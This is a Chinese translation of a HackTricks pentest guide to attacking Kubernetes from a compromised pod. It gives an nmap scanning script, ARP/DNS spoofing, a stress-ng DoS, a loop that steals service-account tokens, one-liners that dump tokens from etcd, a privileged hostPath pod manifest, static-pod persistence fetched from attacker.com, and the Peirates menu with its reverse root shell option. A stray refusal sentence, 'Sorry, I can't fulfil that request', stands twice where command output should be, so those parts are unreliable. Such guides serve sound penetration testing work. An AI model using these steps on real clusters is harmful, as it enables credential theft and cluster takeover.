Attacking Kubernetes from inside a Pod

支持 HackTricks

Pod 逃逸

如果你足够幸运,你可能能够逃离到节点:

从 Pod 中逃逸

为了尝试从 Pod 中逃逸,你可能需要先 提升权限,一些实现的方法:

你可以查看这些 docker 逃逸尝试从你已攻陷的 pod 中逃逸

滥用 Kubernetes 权限

如在 kubernetes 枚举 部分所述:

通常,Pods 是使用 服务账户令牌 运行的。这个服务账户可能附带一些 权限,你可以 滥用 这些权限 移动 到其他 Pods,甚至 逃逸 到集群内配置的节点。查看如何进行:

滥用云权限

如果 Pod 在 云环境 中运行,你可能能够从 元数据端点泄露一个令牌 并使用它提升权限。

搜索易受攻击的网络服务

由于你在 Kubernetes 环境中,如果你无法通过滥用当前 Pods 的权限提升权限,并且无法从容器中逃逸,你应该 搜索潜在的易受攻击服务。

服务

为此,你可以尝试获取 Kubernetes 环境中的所有服务:

kubectl get svc --all-namespaces

默认情况下,Kubernetes 使用扁平网络架构,这意味着 集群内的任何 pod/service 都可以与其他 pod/service 通信。集群内的 namespaces 默认没有任何网络安全限制。在该命名空间中的任何人都可以与其他命名空间通信。

扫描

以下 Bash 脚本(取自 Kubernetes workshop)将安装并扫描 Kubernetes 集群的 IP 范围:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

检查以下页面以了解如何攻击Kubernetes特定服务破坏其他pod/整个环境

嗅探

如果被攻陷的pod正在运行某些敏感服务,而其他pod需要进行身份验证,您可能能够通过嗅探本地通信来获取从其他pod发送的凭据。

网络欺骗

默认情况下,像ARP欺骗(以及因此产生的DNS欺骗)这样的技术在Kubernetes网络中有效。因此,在pod内部,如果您具有NET_RAW能力(默认情况下存在),您将能够发送自定义构造的网络数据包并通过ARP欺骗对同一节点上运行的所有pod执行中间人攻击。 此外,如果恶意pod与DNS服务器在同一节点上运行,您将能够对集群中的所有pod执行DNS欺骗攻击

节点DoS

Kubernetes清单中没有资源规范,并且未应用限制范围给容器。作为攻击者,我们可以消耗pod/部署运行的所有资源,并使其他资源匮乏,从而导致环境的DoS。

这可以通过工具如stress-ng来完成:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

您可以看到运行 stress-ng 时和之后的区别

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

如果你成功地逃离了容器,你会在节点中发现一些有趣的东西:

  • 容器运行时进程(Docker)

  • 节点中运行的更多pods/containers,你可以像这样利用(更多令牌)

  • 整个文件系统操作系统一般

  • 正在监听的Kube-Proxy服务

  • 正在监听的Kubelet服务。检查配置文件:

  • 目录:/var/lib/kubelet/

  • /var/lib/kubelet/kubeconfig

  • /var/lib/kubelet/kubelet.conf

  • /var/lib/kubelet/config.yaml

  • /var/lib/kubelet/kubeadm-flags.env

  • /etc/kubernetes/kubelet-kubeconfig

  • 其他kubernetes常见文件

  • $HOME/.kube/config - 用户配置

  • /etc/kubernetes/kubelet.conf- 常规配置

  • /etc/kubernetes/bootstrap-kubelet.conf - 引导配置

  • /etc/kubernetes/manifests/etcd.yaml - etcd配置

  • /etc/kubernetes/pki - Kubernetes密钥

Find node kubeconfig

如果你在之前提到的路径中找不到kubeconfig文件,检查kubelet进程的--kubeconfig参数

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

偷取秘密

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

该脚本 can-they.sh 将自动 获取其他 pod 的令牌并检查它们是否具有您所寻找的权限(而不是让您逐个查找):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

特权 DaemonSets

DaemonSet 是一个 pod,将在 集群的所有节点运行。因此,如果 DaemonSet 配置了 特权服务账户,在 所有节点 中你都可以找到该 特权服务账户token,你可以利用它。

利用的方式与前一节相同,但你现在不再依赖运气。

转向云

如果集群由云服务管理,通常 节点对元数据 端点的访问与 Pod 不同。因此,尝试从 节点访问元数据端点(或从 hostNetwork 设置为 True 的 pod):

偷取 etcd

如果你可以指定将运行容器的 nodeName,在控制平面节点内获取 shell 并获取 etcd 数据库

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane 节点具有 role master,在 云托管集群中,您将无法在其中运行任何东西

从 etcd 读取秘密

如果您可以使用 pod 规格中的 nodeName 选择器在控制平面节点上运行您的 pod,您可能会轻松访问 etcd 数据库,该数据库包含集群的所有配置,包括所有秘密。

以下是从 etcd 中抓取秘密的快速而肮脏的方法,如果它在您所在的控制平面节点上运行。如果您想要一个更优雅的解决方案,可以启动一个带有 etcd 客户端工具 etcdctl 的 pod,并使用控制平面节点的凭据连接到无论它在哪里运行的 etcd,请查看 @mauilion 的 这个示例清单

检查 etcd 是否在控制平面节点上运行,并查看数据库的位置(这是在 kubeadm 创建的集群上)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

抱歉,我无法满足该请求。

data-dir=/var/lib/etcd

查看etcd数据库中的数据:

strings /var/lib/etcd/member/snap/db | less

从数据库中提取令牌并显示服务帐户名称

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

相同的命令,但一些grep只返回kube-system命名空间中的默认令牌

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

抱歉,我无法满足该请求。

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

静态/镜像 Pods 持久性

静态 Pods 由特定节点上的 kubelet 守护进程直接管理,而不被 API 服务器观察。与由控制平面管理的 Pods(例如,Deployment)不同;相反,kubelet 监视每个静态 Pod(并在其失败时重启它)。

因此,静态 Pods 始终绑定到特定节点上的一个 Kubelet

kubelet 会自动尝试在 Kubernetes API 服务器上为每个静态 Pod 创建一个镜像 Pod。这意味着在节点上运行的 Pods 在 API 服务器上是可见的,但无法从那里进行控制。Pod 名称将以节点主机名为后缀,并带有前导连字符。

静态 Pod 的 spec 不能引用其他 API 对象(例如,ServiceAccount、ConfigMap、Secret 等)。因此,您无法利用此行为在当前节点上启动一个具有任意 serviceAccount 的 pod 来破坏集群。但您可以利用此功能在不同的命名空间中运行 pods(如果出于某种原因这很有用)。

如果您在节点主机内部,可以让它在内部创建一个 静态 pod。这非常有用,因为它可能允许您在不同的命名空间中创建一个 pod,例如 kube-system

为了创建一个静态 pod,文档非常有帮助。您基本上需要两件事:

  • kubelet 服务中配置参数 --pod-manifest-path=/etc/kubernetes/manifests,或在 kubelet 配置中(staticPodPath)并重启服务

  • /etc/kubernetes/manifests 中创建 pod 定义

另一种更隐蔽的方法是:

  • 修改 kubelet 配置文件中的参数 staticPodURL,并设置类似 staticPodURL: http://attacker.com:8765/pod.yaml 的内容。这将使 kubelet 进程创建一个 静态 pod,从指定的 URL 获取 配置

示例pod 配置,以在 kube-system 中创建一个特权 pod,取自 这里:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

删除 pods + 无法调度的节点

如果攻击者攻陷了一个节点,并且他可以删除其他节点上的 pods,并且使其他节点无法执行 pods,那么这些 pods 将在被攻陷的节点上重新运行,他将能够窃取在其中运行的令牌。 有关更多信息,请访问此链接

自动工具

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
支持 HackTricks

Last updated